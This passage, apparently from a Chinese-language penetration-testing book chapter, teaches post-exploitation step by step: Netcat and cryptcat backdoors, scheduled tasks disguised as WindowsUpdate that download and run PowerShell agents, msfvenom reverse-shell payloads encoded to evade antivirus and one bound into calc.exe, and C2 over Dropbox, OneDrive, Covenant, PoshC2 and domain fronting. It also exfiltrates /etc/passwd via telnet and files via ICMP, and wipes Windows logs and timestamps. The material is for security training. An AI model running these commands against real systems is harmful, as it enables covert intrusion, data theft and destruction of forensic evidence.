• 促进从受损系统和网络中提取数据。

• 允许攻击者重新连接到受损系统，通常通过加密通道以避免被发现。持久化代理已知能在系统中驻留超过一年。

• 采用反取证技术避免被检测，包括隐藏在目标的文件系统或系统内存中、使用强身份验证以及使用加密。

使用持久化代理

传统上，攻击者会在被攻陷的系统上放置一个后门。如果前门提供了合法用户的授权访问，后门应用程序则允许攻击者返回到被利用的系统并访问服务和数据。

不幸的是，经典的后门提供的交互性有限，并且并未设计为在被攻陷的系统上保持长时间的持久性。攻击者社区认为这是一个显著的缺点，因为一旦后门被发现并移除，就需要额外的工作来重复攻陷步骤并再次利用该系统，而这使得系统管理员提前防御网络和资源变得更加困难。

现在，攻击者将重点放在正确使用并且更难检测的持久代理上。我们将首先回顾的工具是久经考验的 Netcat。

将 Netcat 用作持久代理

Netcat 是一个支持通过原始 TCP 和 UDP 包从网络连接中读取和写入数据的应用程序。与由 Telnet 或 FTP 等服务组织的包不同，Netcat 的包不附带服务特定的头部或其他通道信息。这简化了通信并提供了几乎通用的通信通道。

Netcat 的最后一个稳定版本由 Hobbit 于 1996 年发布，并且至今仍然保持其高度的实用性；事实上，它常被称为TCP/IP 瑞士军刀。Netcat 可以执行许多功能，包括以下内容：

• 端口扫描

• 横幅抓取以识别服务

• 端口重定向和代理

• 文件传输和聊天功能，包括数据取证和远程备份支持

• 在被攻陷的系统上创建后门或交互式持久代理

在这一部分，我们将重点介绍如何使用 Netcat 在被攻击的系统上创建一个持久化的 shell。尽管以下示例使用 Windows 作为目标平台，但在基于 Unix 的平台上使用时，它的功能是相同的。还应该注意的是，大多数旧版 Unix 平台将 Netcat 作为操作系统的一部分。

在图 13.1所示的示例中，我们将保留可执行文件的名称 nc.exe；然而，在使用之前通常会将其重命名以减少被检测的风险。即使重命名，它通常也会被杀毒软件识别；许多攻击者会修改或删除 Netcat 源代码中不需要的部分，并在使用前重新编译。这样的修改可以改变杀毒软件用来识别 Netcat 应用程序的特定签名，使其对杀毒软件来说不可见：

1. Netcat 存储在 Kali 的 /usr/share/windows-binaries 仓库中。要将其上传到被攻陷的系统，可以在 Meterpreter 中输入以下命令：

   meterpreter> upload /usr/share/windows-binaries/nc.exe C:\WINDOWS\system32 
   

   执行前述命令的过程如图 13.1所示：

   

   图 13.1：将 Netcat 上传到目标

   你不必专门将其放置在system32文件夹中；然而，由于该文件夹中包含大量文件和多种类型文件，这是在被攻陷系统中隐藏文件的最佳位置。

   在对一个客户进行渗透测试时，我们发现一台服务器上存在六个独立的 Netcat 实例。两名系统管理员分别安装了 Netcat 两次以支持网络管理；另外四个实例是外部攻击者安装的，在渗透测试之前未被发现。因此，务必检查目标系统中是否已经安装了 Netcat！

   如果没有 Meterpreter 连接，可以使用简单文件传输协议（TFTP）传输文件。

2. 接下来，配置注册表以便在系统启动时启动 Netcat，并确保它监听8888端口（或任何其他未被占用的端口），使用以下命令：

   meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 8888 -e cmd.exe' 
   

3. 使用以下queryval命令确认注册表中的更改是否成功实施：

   meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 
   

4. 使用netsh命令，在本地防火墙上打开端口，确保被攻陷的系统能够接受来自 Netcat 的远程连接。了解目标的操作系统至关重要。netsh advfirewall firewall命令行上下文适用于 Windows 10、Windows Server 2008 及之后版本；netsh firewall命令适用于早期版本操作系统。

5. 要将端口添加到本地 Windows 防火墙，请在 Meterpreter 提示符下输入shell命令，然后使用适当的命令输入rule。命名rule时，可以使用类似svchostpassthrough的名称，表示此rule对系统的正常运行非常重要。

   示例命令如下所示：

   C:\Windows\system32>netsh advfirewall firewall add rule name="svchostpassthrough" dir=in action=allow protocol=TCP localport=8888 
   

6. 使用以下命令确认更改是否成功实施：

   C:\windows\system32>netsh advfirewall firewall show rule name="svchostpassthrough" 
   

   执行前述命令的过程如图 13.2所示：

   

   图 13.2：添加防火墙规则以允许自定义端口

7. 确认端口规则后，确保重启选项正常工作，如下所示：

   • 从 Meterpreter 提示符输入以下命令：

     meterpreter> reboot 
     

   • 从交互式 Windows shell 输入以下命令：

     C:\windows\system32> shutdown /r /t 15 
     

8. 要远程访问被攻陷的系统，请在终端输入nc，指定连接的详细程度（-v报告基本信息，-vv报告更多信息），然后输入目标的 IP 地址和端口号，如图 13.3所示：

   图 13.3：通过 Netcat 成功连接到持久后门

   不幸的是，使用 Netcat 存在一些局限性。传输的数据没有认证或加密，而且几乎所有的防病毒软件都会检测到它。

9. 可以使用cryptcat解决缺乏加密的问题，它是 Netcat 的一个变体，使用 Twofish 加密来保护在受害主机与攻击者之间传输的数据。Twofish 加密是由 Bruce Schneider 开发的高级对称块密码，它为加密数据提供了合理强大的保护。

   要使用cryptcat，请确保有一个监听器已准备好，并且已使用以下命令配置了一个强密码：

   kali@kali:~# cryptcat -k password -l -p 444 
   

10. 接下来，根据目标操作系统上传cryptcat（如果是 Windows，则上传可在github.com/pprugger/Cryptcat-1.3.0-Win-10-Release获取的 Windows 二进制文件）到被攻陷系统，并使用以下命令配置它连接到监听器的 IP 地址：

    cryptcat -k password <listener IP address> 444 
    

不幸的是，Netcat 及其变体仍然能被大多数防病毒应用程序检测到。然而，如果目标是 Linux 系统，该工具会预先安装，渗透测试人员可以利用它们打开端口并运行后门。通过使用十六进制编辑器修改 Netcat 的源代码，可以使 Netcat 变得不可检测。

这将有助于避免触发防病毒程序的签名匹配动作，但这可能是一个漫长的试错过程。更有效的方法是利用 Empire 的持久性机制。

使用 schtasks 配置持久任务

Windows 任务计划程序 (schtasks) 是在 Windows XP 和 2003 中作为at.exe的替代品引入的。然而，at.exe在最新版本的 Windows 中已被废弃。在本节中，我们将使用计划任务来维持对被攻陷系统的持久访问。

攻击者可以在被攻陷的系统上创建一个计划任务，从攻击者的机器运行 Empire 代理有效载荷，并提供后门访问。schtasks可以直接从命令提示符中安排，如图 13.4所示：

图 13.4：在目标上创建计划任务以保持持久性

以下是攻击者可以利用的典型计划任务场景，用于保持对系统的持久访问：

• 要在用户登录过程中启动 Empire PowerShell 代理，请从命令行运行以下命令：

  schtasks /create /tn WindowsUpdate /tr " C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.10.10.12:90/agent.ps1'))'" /sc onlogon /ru System 
  

• 同样，为了在系统启动时启动代理，运行以下命令：

  schtasks /create /tn WindowsUpdate /tr  "'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.12:90/agent.ps1'))''" /sc onstart 
  

• 以下命令将在系统空闲时设置启动代理：

  schtasks /create /tn WindowsUpdate /tr  "'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.12:90/agent.ps1'))''" /sc onidle /i 10 
  

攻击者将确保监听器始终运行并保持连接开放。为了使其在网络中合法化，服务器需要配置一个有效的 SSL 证书并运行 HTTPS，以避免触发内部安全功能（如防火墙、IPS 或代理）的警报。

使用 PowerShell Empire 工具模块persistence/elevated/schtasks，攻击者可以通过单行命令执行相同的任务，如图 13.5所示：

图 13.5：在目标上创建计划任务以保持持久性

现在我们已经学会了如何利用计划任务来保持对目标的持久性，接下来我们将探讨 Metasploit 的后期利用模块。

使用 Metasploit 框架维持持久性

Metasploit 的 Meterpreter 包含多个支持在被攻破系统上保持持久性的脚本。我们将研究用于植入后门的后期利用模块。

使用后期利用持久化模块

在系统被利用并且migrate命令将初始 Shell 转移到更安全的服务后，攻击者可以从 Meterpreter 提示符下调用windows/manage/persistence_exe脚本。

在图 13.6所示的示例中，我们可以选择使用REXENAME和REXEPATH选项，这将在用户登录目标系统时启动持久化。

成功植入后门后，系统启动时将自动运行，执行我们设置的文件，并使用特定的 IP 地址和端口。

图 13.6：使用 Metasploit 的后期利用模块进行持久化植入后门

请注意，我们已经任意选择了一个端口供persistence使用；攻击者必须验证本地防火墙设置，确保该端口已开放，或者使用reg命令打开该端口。与大多数 Metasploit 模块一样，只要端口未被占用，任何端口都可以被选择。

后期利用模块的persistence_exe脚本将在临时目录中放置一个可执行文件。该脚本还将该文件添加到注册表的本地自动运行部分。由于后期利用模块persistence_exe没有认证，任何人都可以利用它访问被攻破的系统，因此在发现或渗透测试完成后，应该尽快将其从系统中移除。要移除该脚本，请确认资源文件的位置以便清理，然后执行以下资源命令：

meterpreter>run multi_console_command -rc /root/.msf4/logs/persistence/<Location>.rc 

使用 Metasploit 创建独立持久性代理

Metasploit 框架可以用来创建一个独立的可执行文件，使其能够在被攻破的系统上持久存在，并允许交互式通信。独立包的优势在于，它可以提前准备和测试，以确保连接性，并进行编码以绕过本地的杀毒软件：

1. 要制作一个简单的独立代理，可以使用msfvenom。在图 13.7所示的示例中，代理配置为使用reverse_tcp外壳，将连接到攻击者 IP 的本地主机端口443：

   msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -e x86/shikata_ga_nai -i 5 -f exe -o attack1.exe 
   

   名为attack.exe的代理将使用一个 Win32 可执行模板：

   

   图 13.7：创建一个后门利用程序，通过特定端口连接回 Kali Linux

   该文件使用x86/shikata_ga_nai编码器对attack1.exe代理进行五次编码。每次重新编码后，检测变得更加困难。然而，可执行文件的大小也会增加。

   我们可以通过使用-b x64/other在msfvenom中配置编码模式，以避免特定字符。例如，在编码持久性代理时应避免以下字符，因为它们可能导致攻击被发现和失败：

   • \x00：表示 0 字节地址

   • \xa0：表示换行

   • \xad：表示换行符

2. 要创建多重编码的有效负载，请使用以下命令：

   msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -e x86/shikata_ga_nai -i 8 raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o multiencoded.exe 
   

3. 你还可以将msfvenom编码到现有的可执行文件中，修改后的可执行文件和持久性代理都将正常工作。要将持久性代理绑定到可执行文件（如计算器calc.exe），首先在 Kali Linux 中复制适当的calc.exe文件。你可以通过 Meterpreter 从现有会话中下载它，运行meterpreter > download c:\\windows\\system32\\calc.exe。

4. 下载文件后，运行以下命令：

   msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -x /root/calc.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o calc.exe 
   

5. 可以将代理放置在目标系统上，并重命名为calc.exe（如果访问被拒绝，可以将文件放在桌面上），然后执行。

不幸的是，几乎所有 Metasploit 编码的可执行文件都可能被客户端防病毒软件或 EDR 软件检测到。这归因于渗透测试人员将加密的有效负载提交到 VirusTotal 等网站（www.virustotal.com）。然而，你可以创建一个可执行文件，然后使用 Veil-Evasion 进行加密，具体描述见第十章，利用。

使用在线文件存储云服务来维持持久性

允许与云服务共享文件的每个组织可能会使用 Dropbox 或 OneDrive。攻击者可以利用这些文件存储服务在受损系统上维持持久性。

在本节中，我们将重点介绍在受害者系统上使用这些文件存储云服务，并通过使用 Empire PowerShell 工具来维持持久性，以运行 C2，而无需透露攻击者后端 IP 地址。

Dropbox

对于使用 Dropbox 的公司，此监听器可作为高度可靠的 C2 通道。我们的 PowerShell Empire 工具中预加载了dbx后渗透模块，利用 Dropbox 基础设施。代理与 Dropbox 通信，允许其用作 C2 中心。

按照以下步骤设置 Dropbox 分段器：

1. 创建一个 Dropbox 账户。

2. 前往 Dropbox 开发者网站的我的应用(www.dropbox.com/developers)页面。

3. 进入应用控制台，点击创建应用。

4. 选择一个Scoped access New API。

5. 将需要的访问类型设置为完全访问 Dropbox – 可访问用户 Dropbox 中所有文件和文件夹。

6. 输入应用程序的名称，例如，KaliC2C，点击创建应用，并勾选同意条款和条件。

7. 应用程序创建后，Dropbox 应将我们带到设置页面。在生成密钥之前，您需要转到权限选项卡，并确保通过选中files.metadata.read、files.metadata.write、files.content.write和files.content.read来设置写入权限。

8. 现在我们已经准备好生成令牌。如果你在前一步骤的权限选项卡中，点击设置选项卡。在OAuth 2部分和生成的访问令牌标题下，点击生成，你应该看到 Dropbox 正在创建一个新的令牌，如 图 13.8 所示：

   图 13.8：生成 Dropbox 访问令牌

9. 您现在可以通过运行以下命令在我们的 Empire 工具上使用生成的访问令牌生成有效载荷：

   > listeners
   
   > uselistener dbx
   
   > set apitoken <yourapitoken>
   
   > usestager multi/launcher dropbox
   
   > execute 
   

   输出应如此显示：

   

   图 13.9：在 PowerShell Empire 中成功创建 Dropbox 监听器

   如果 API 令牌正确并且一切正常，Dropbox 账户现在应显示名为 Empire 的文件夹，其中包含名为 results、staging 和 taskings 的三个子文件夹，如 图 13.10 所示：

   

   图 13.10：在 Dropbox 内生成的文件夹

10. 一旦监听器启动运行，攻击者可以利用多种方法传递有效载荷，例如，通过从现有 Meterpreter 会话中运行，使用社会工程学，或创建一个定期任务以在系统启动时报告。

攻击者可以利用任何免费的文件托管服务来存储有效载荷，并让受害机下载并执行代理程序。成功的代理程序将向 Empire 报告，如 图 13.11 所示：

图 13.11：使用 Dropbox API 成功与我们的监听器进行交互

Microsoft OneDrive

OneDrive 是另一个流行的文件共享服务，类似于 Dropbox。在 Empire 的最新版本中，您应该能够看到一个额外的预构建监听器 onedrive，如 图 13.12 所示：

图 13.12：PowerShell Empire OneDrive 监听器选项

设置 onedrive C2C 如下所示：

1. 创建一个 Microsoft 开发者账户。攻击者可以利用 Microsoft 提供的带有积分的免费账户登录 Azure 门户 (portal.azure.com/#blade/Microsoft_AAD_RegisteredApps/ApplicationsListBlade)。

2. 要注册一个新应用程序，点击 New Registration，输入你的名称，并选择 Accounts in any organizational directory (Any Azure AD directory - Multitenant) and personal Microsoft accounts (e.g. Skype, Xbox)。然后，输入 https://login.live.com/oauth20_desktop.srf 作为重定向 URI，这样 PowerShell Empire 就可以使用离线桌面模块进行认证，如图 13.13所示。最后，点击 Register：

   图 13.13：在 Azure 中注册 KaliC2C 进行离线认证

3. 一旦创建了应用程序，攻击者应该能够看到新创建的应用程序 ID，如下图所示：

   图 13.14：在 Azure 门户中生成 Client ID

4. 现在我们有了 ClientID，接下来需要创建 ClientSecret。在同一页面中的 Manage 部分下，导航到 Certificates & Sections，然后在 Client secrets 下点击 New client secret。这时会弹出另一个窗口，输入任何描述，默认情况下，过期时间为 6 个月，最后点击 Add。这应该会生成我们的 Client Secret ID，如图 13.15所示：

   图 13.15：为 ClientID 创建 Secret ID

5. 现在，我们准备启动 Empire 并设置我们的监听器。将 ClientID 设置为第 3 步中的应用程序 ID，将 ClientSecret 设置为第 4 步中的 Secret ID 值，并执行监听器，如图 13.16所示：

   图 13.16：使用我们创建的 ClientID 和 SecretValue 配置 PowerShell Empire

6. 可以在浏览器中打开 URL 以生成认证代码。测试者应登录到应用程序并会提示授权访问 OneDrive 文件。点击 Yes 后，你应该能看到 URL 中生成的代码，如图 13.17所示：

   图 13.17：浏览器中的认证令牌生成

7. 现在可以使用来自 URL 的代码来设置 Empire 监听器，如下所示：

   图 13.18：设置 AuthCode 并启动 OneDrive 监听器

8. 就像 Dropbox 一样，现在你应该能够在 OneDrive 中看到一个名为 Empire 的文件夹，里面有三个子文件夹，分别是 results、staging 和 taskings，并且具有正确的客户端 ID 和认证代码，如下图所示：

   图 13.19：启动监听器后在 OneDrive 中创建的文件夹

9. 现在，你可以通过运行 usestager multi/launcher 来准备有效载荷，并将 listener 设置为 onedrive，然后执行有效载荷。一旦有效载荷在目标上成功执行，它将监听 OneDrive 监听器，如图 13.20所示：

   图 13.20：代理通过 OneDrive API 成功报告回 PowerShell Empire

Covenant

攻击者还可以利用Covenant C2框架进行渗透测试操作，以维护对目标环境的访问。该框架是由 SpecterOps 的 Ryan Cobb 编写的，使用.NET 编写，并利用大多数开源功能和插件来在目标上执行不同的利用。要在 Kali Linux 中安装 Covenant C2 框架，需要执行以下步骤：

1. 通过运行sudo git clone --recurse-submodules https://github.com/cobbr/Covenant来下载存储库。

2. 由于这些工具严重依赖于.NET 框架，我们将通过运行sudo wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb将 Microsoft 包下载到我们的 Kali 中。

3. 下载.deb 文件后，通过运行sudo dpkg -i packages-microsoft-prod.deb来安装该软件包。

4. Covenant 需要.NET 版本 3.1，因此我们将通过运行sudo apt-get update && sudo apt-get install -y apt-transport-https && sudo apt-get update && sudo apt-get install -y dotnet-sdk-3.1来运行以下依赖项。

5. 现在我们准备通过将文件夹更改为项目位置来构建应用程序，即cd Covenant/Covenant，并运行sudo dotnet build和sudo dotnet run。

6. 如果未生成任何错误，则攻击者应该能够看到以下屏幕并能够在 localhost 的端口7443上访问 Covenant:

   图 13.21: 在 Kali 中使用 dotnet 启动 Covenant

7. 应用程序启动后，在浏览器中可以创建用户名和密码以登录。

8. 类似于 PowerShell Empire，Covenant 为攻击者提供使用侦听器、启动器、模板和任务创建利用有效载荷的选项，其中代理被称为 grunts。下一步是为攻击者创建侦听器，并确保ConnectAddresses反映 Kali Linux 的正确 IP 地址，grunts 可以在其中回调:

   图 13.22: 配置 Covenant 回连地址

9. 最后，通过导航到启动器并选择其中任何一个选项来生成利用有效载荷；例如，我们选择了 PowerShell 启动器。工具应该呈现给您以下图表和选项。选择正确的侦听器后，您应该能够生成编码和非编码的有效载荷:

   图 13.23: 在 PowerShell 启动器部分设置正确的侦听器并生成有效载荷

10. 一旦在目标上执行有效载荷，就可以从 Covenant C2 与之进行交互，如图 13.24所示:

    图 13.24: 指示受害者连接 Covenant C2

11. 现在我们可以通过在主菜单中导航到Grunts并点击Interact来与目标交互，执行可以在目标设备上运行的预加载脚本，如图 13.25所示：

    图 13.25：使用 Covenant 的 Interact 部分与目标交互

12. 如果有两个或三个测试人员在同一目标上，他们可以通过点击任务标签查看所有执行的任务。

Covenant 允许测试人员在渗透测试过程中利用该工具中的所有后期利用和横向移动模块，捕获核心目标或窃取机密数据库文件。

PoshC2

另一种渗透测试人员也可以利用的 C2 是 PoshC2。它是一个具有代理意识的 C2 框架，非常适合用于后期利用和横向移动。该工具使用 Python3 编写，截至 2021 年 12 月的最新版本为 7.4.0。多年来，该工具经历了显著的改进。

您可以添加自己的模块和工具。默认情况下，PoshC2 安装包含 PowerShell、C#、Python3、C++、DLL 和 Shellcode。注入 PoshC2 的利用负载称为植入物。这些植入物几乎适用于所有操作系统，包括 Windows、*nix 和 OSX。

以下是在 Kali Linux 上成功设置 PoshC2 的步骤：

1. 通过运行 git clone --recursive（github.com/nettitude/PoshC2）并执行 cd PoshC2 和 sudo ./Install.sh 来下载该应用程序。

2. 测试人员可能会收到与 dotnet 相关的错误消息，但这并不会阻止应用程序的运行。

3. 通过运行 sudo posh-project –n nameoftheproject 设置一个新项目。

4. 一旦项目设置完成，通过编辑位于 /var/Poshc2/<nameoftheproject>/configure.yml 的配置文件来配置 C2 服务器，并将正确的 PayloadCommsHost 编辑为正确的 IP 地址或域名。您还可以选择输入域名的前置头（我们将在下一节学习如何使用域名前置）。

5. 最后，通过在终端运行sudo posh-server启动 C2 服务器，您应该能够看到如图 13.26所示的确认信息，显示所有有效负载及其相关位置详情：

   图 13.26：成功启动 PoshC2 服务器

6. 一旦有效负载在目标上执行，攻击者可以通过在 Kali Linux 终端运行 sudo posh –u <username> 连接到 PoshC2 服务器。他们应该能够看到植入物向服务器报告，如图 13.27所示。与 Metasploit 类似，渗透测试人员现在可以使用植入物的编号与目标交互：

   图 13.27：目标作为植入物报告给 PoshC2 服务器

尽管大多数防病毒/EDR 软件可以检测到有效载荷，攻击者始终可以利用工具如 PyFuscator 对 PowerShell 的有效载荷进行混淆，成功躲避检测，并迅速迁移到合法进程。

域名伪装

域名伪装是一种技术，攻击者或红队用来避免检测到他们的 C2 服务器。这是通过利用他人的域名（或者在 HTTPS 的情况下，使用他人的 SSL 证书）来将流量路由到一个应用程序，从而将攻击者的机器隐藏在高度信任的域名背后。

最受欢迎的服务包括亚马逊的 CloudFront、微软的 Azure 和谷歌的 App Engine。相同的域名伪装技术也可以用于企业 Web 邮件中的 C2 和通过 SMTP 协议进行数据外泄。

请注意，谷歌和亚马逊都在 2018 年 4 月实施了防范域名伪装的策略。在本节中，我们将探讨如何使用亚马逊 CloudFront 和微软 Azure 进行 C2，使用两种不同的方法。

使用亚马逊 CloudFront 进行 C2

为了提高下载速度，亚马逊提供了一个内容分发网络（CDN），该网络由全球分布的代理服务器组成，能够缓存媒体和视频等大型内容。亚马逊 CloudFront 是由亚马逊 Web 服务提供的 CDN。创建 CDN 涉及以下步骤：

1. 首先，在 aws.amazon.com/ 上注册一个 AWS 帐户。

2. 登录到你的帐户：console.aws.amazon.com/cloudfront/home

3. 点击开始使用，选择创建分发。

4. 填写每个设置的正确详细信息：

   • 源域名：攻击者控制的域名。

   • 源路径：该值可以设置为根路径/。

   • 源路径 ID：任何自定义名称，如 demo 或 C2C。

   • 源 SSL 协议：默认情况下，TLS v1.2、TLS v1.1 和 TLS v1.0 都已启用。

   • 源协议策略：有三个选项：HTTP、HTTPS 和 匹配查看者。我推荐使用匹配查看者，它根据查看者请求的协议使用HTTPS或HTTP。

   • 允许的 HTTP 方法：在默认缓存行为设置中选择GET、HEAD、OPTIONS、PUT、POST、PATCH、DELETE。

   • 确保在缓存和源请求设置中选择使用传统缓存设置。

   • 确保将Forward Cookies设置为All。

   • 确保将查询字符串转发和缓存设置为转发所有，基于所有缓存。

   图 13.28：在 AWS 中启用传统缓存设置并选择正确的选项

5. 现在你已经设置完成，点击创建分发。你应该能看到以下界面，域名显示为<somerandom>.cloudfront.net：

   图 13.29：成功创建 CloudFront 分发

   通常需要大约 5 分钟或更少的时间来启动分发。

6. 一旦在 AWS 上创建了分发，您就可以定制 PoshC2 代理为攻击做准备。在启动 PoshC2 之前，我们需要确保识别一个可以作为我们恶意服务器前端的易受攻击的域名。

7. 查找可前端的域名可以通过使用各种脚本来实现；在这里，我们将使用在github.com/rvrsh3ll/FindFrontableDomains上找到的脚本，并使用其中一个易受攻击的主机来执行攻击。

8. 现在我们开始在 PoshC2 中创建一个新的监听器。第一步是通过运行posh-project –n domfront创建一个 PoshC2 项目，然后定位到/var/poshc2/domfront/config.yml并编辑配置文件，将PayLoadCommsHost修改为易受攻击的主机，将DomainFrontHeader修改为您的 AWS 云分发主机名，然后将BindPort设置为80，如图 13.30所示：

   图 13.30：配置 PoshC2 在端口 80 上运行，并与易受攻击的主机一起使用域前端头

   攻击者可以选择在端口443上运行 C2。请确保使用诸如 Letsencrypt 之类的服务创建正确的证书，否则 CloudFront CDN 将无法与 C2 服务器建立通信。

9. 一旦我们的 PoshC2 设置完成，攻击者应该能够看到以下内容：

   图 13.31：使用我们创建的 AWS 云分发启动 PoshC2

   在这个例子中，我们将使用vijayvelu.com主机将域名请求转发到我们的 C2 服务器。在连接到 Amazon Web Services 之前，应用程序将执行 DNS 查找，将域名解析为网络 IP 地址。请求将直接发送到vijayvelu.com主机，并带有我们在 Amazon CloudFront 分发中创建的主机头。

   从 Wireshark 捕获的请求数据包将类似于图 13.32：

   

   图 13.32：DomainFrontHost 与我们的托管服务器之间的 TCP 流通信

10. 一旦有效载荷在受害者机器上执行，您应该能够看到植入物报告，而受害者网络中不会有攻击者 IP 地址的任何痕迹。所有流量看起来都像是合法的连接到 AWS 以及所展示的域名：

    图 13.33：成功将利用工具植入目标，并实现域前端攻击

攻击者还可以利用 Metasploit。我们将创建一个利用工具，通过msfvenom提供一个 Meterpreter 反向 HTTP shell，使用进行转发的域名以及我们的头注入，如下所示：

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https lhost=<VULNERABLEHOST> lport=443 httphostheader=< CloudFront address> -e x86/shikata_ga_nai -i 8 raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o Domainfront.exe 

执行此有效载荷应该会在位于 Amazon CDN 后的 C2 服务器上获取一个反向 Shell。APT29（一个俄罗斯国家级黑客组织）曾积极利用这种技术执行隐蔽攻击：

图 13.34：当在目标系统上使用域前置技术运行漏洞时，反向 Shell 到 Meterpreter

攻击者可能选择利用微软 CDN 服务进行 C2 通信。不幸的是，免费层用户无法使用 CDN 选项，因此用户可能需要选择按需付费选项注册，并创建订阅，然后按照docs.microsoft.com/en-us/azure/cdn/cdn-create-endpoint-how-to上的说明操作。不过，测试人员需要确保 Azure 或 Amazon 背后的域名有有效的 A 记录。对于微软 Azure，你还需要确保 CNAME 指向正确的自定义域名，以确保域名前置功能正常工作。

尽管许多内容提供商容易受到此类攻击，但一些内容提供商，如 Google，似乎已经通过对其云基础设施进行重大改动迅速修复了这一攻击。例如，如果 A 公司的域名使用了亚马逊的域名作为前置，并且额外的主机头指向 B 公司，请求将在 CDN 的第一个节点被丢弃。

类似地，其他提供商正尝试通过要求额外的授权令牌或其他机制来阻止这些前置技术或前置技术。

数据外泄

数字数据从任何环境中未经授权的转移被称为数据外泄（或数据挤出）。一旦在被攻陷的系统中维持持久性，可以利用一系列工具从高度安全的环境中外泄数据。

在本节中，我们将探索攻击者用来将文件从内部网络发送到攻击者控制系统的不同方法。

使用现有的系统服务（Telnet、RDP 和 VNC）

首先，我们将讨论一些简单的技术，用于在对受感染系统的访问时间有限的情况下快速抓取文件。攻击者可以通过运行nc -lvp 2323 > Exfilteredfile来使用 Netcat 打开一个端口，然后从受感染的 Linux 服务器运行cat /etc/passwd | telnet remoteIP 8000。

这将向远程主机显示etc/passwd的所有内容。作为示例，我们正在从内部主机提取密码列表到 AWS 上的远程 Kali 机器，如图 13.35所示：

图 13.35：使用 Telnet 从本地 Kali 系统到远程 Kali 系统的数据外泄

另一种重要且相对简单的技术是，攻击者在网络中访问任意系统时，可以从 Meterpreter shell 中运行getgui，这将启用 RDP。一旦 RDP 被启用，攻击者可以配置其 Windows 攻击，将本地驱动器挂载到远程驱动器上，并将所有文件从远程桌面外泄到本地驱动器。

这可以通过进入远程桌面连接，选择显示选项，然后选择本地资源，接着选择本地设备和资源，点击更多，最后选择你想挂载的驱动器来实现，如图 13.36所示：

图 13.36：RDP 设置中挂载驱动器的选项

这将把攻击者本地机器的D://驱动器挂载到 RDP 系统上。可以通过使用 RDP 连接登录远程 IP 来确认这一点。默认情况下，应该会挂载一个额外的驱动器（X:），如图 13.37所示：

图 13.37：成功将攻击者的本地驱动器挂载到远程桌面

其他传统技术包括设置 SMB 服务器并允许被攻陷计算机的匿名访问，或者使用如 TeamViewer、Skype Chrome 插件、Dropbox、Google Drive、OneDrive、WeTransfer 等应用，或者任何其他一键共享服务来进行大文件传输。

使用 ICMP 协议

有多种方法可以利用 ICMP 协议来外泄文件，使用诸如hping、nping和ping等工具。在本节中，我们将使用nping工具通过 ICMP 协议执行机密文件的外泄。

在此示例中，我们将使用tcpdump从pcap转储文件中提取数据。在终端中运行以下命令以启用监听器：

tcpdump -i eth0 'icmp and src host <KALI IP>' -w importantfile.pcap 

攻击者应能够看到以下内容：

图 13.38 捕获数据包以接收内容

10.10.10.12是我们等待接收数据的目标主机。在发送方，一旦hping3命令发送到客户端（10.10.10.12），你应该会收到消息EOF reached, wait some second than press ctrl+c，如图 13.39所示。这表明文件已经通过 ICMP 外泄到目标服务器：

图 13.39：使用 hping3 工具通过 ICMP 发送文件

使用Ctrl + C关闭tcpdump。下一步是从pcap文件中删除不需要的数据，以便我们通过运行 Wireshark 或tshark仅将特定的十六进制值打印到文本文件中。

以下是用于过滤数据字段并仅从pcap文件中打印十六进制值的tshark命令：

tshark -n -q -r importantfile.pcap -T fields -e data.data | tr -d "\n" | tr -d ":" >> extfilterated_hex.txt 

现在，可以通过运行cat extfilterated_hex.txt | xxd –r –p命令将相同的十六进制文件转换。最终，你应该能够查看文件内容，如图 13.40所示：

图 13.40：从 pcap 中提取十六进制数据并使用 xxd 解码

这些技术正逐渐被其他工具集所取代，例如使用 TeamViewer、Dropbox 和其他云托管服务。

隐藏攻击证据

一旦系统被攻击者利用，攻击者必须掩盖自己的痕迹以避免被检测，或者至少让防御方重建事件变得更加困难。

攻击者可能完全删除 Windows 事件日志（如果它们在受害服务器上被积极保留）。这可以通过命令行界面执行，使用以下命令：

C:\> del %WINDIR%\*.log /a/s/q/f 

该命令将指示删除所有日志（/a），包括子文件夹中的所有文件（/s）。/q 选项禁用所有询问，不再要求 yes 或 no 响应，/f 选项强制删除文件，使恢复更加困难。

为了抹掉特定记录的文件，攻击者必须跟踪所有在受害系统上执行的活动。

这也可以通过 Meterpreter 提示符使用 clearev 来完成。如 图 13.41 所示，这将清除目标系统的应用程序、系统和安全日志（此命令没有选项或参数）：

图 13.41：清除 Windows 事件日志

通常，删除系统日志不会触发任何用户警报。事实上，大多数组织配置日志记录时非常草率，以至于缺失的系统日志被视为一种可能发生的情况，而且不会进行彻底调查。

除了传统日志，攻击者还可能考虑从受害系统中删除 PowerShell 操作日志。

Metasploit 还有一个额外的技巧：timestomp 选项允许攻击者修改文件的 MACE 参数（文件的最后修改时间、访问时间、创建时间和 MFT 条目修改时间）。一旦系统被攻破并且建立了 Meterpreter shell，可以调用 timestomp，如 图 13.42 所示：

图 13.42：Meterpreter timestomp 选项

例如，受害系统的 C: 驱动器包含一个名为 README.txt 的文件。该文件的 MACE 值表明它最近被创建，如 图 13.43 所示：

图 13.43：在特定本地文件上运行 timestomp

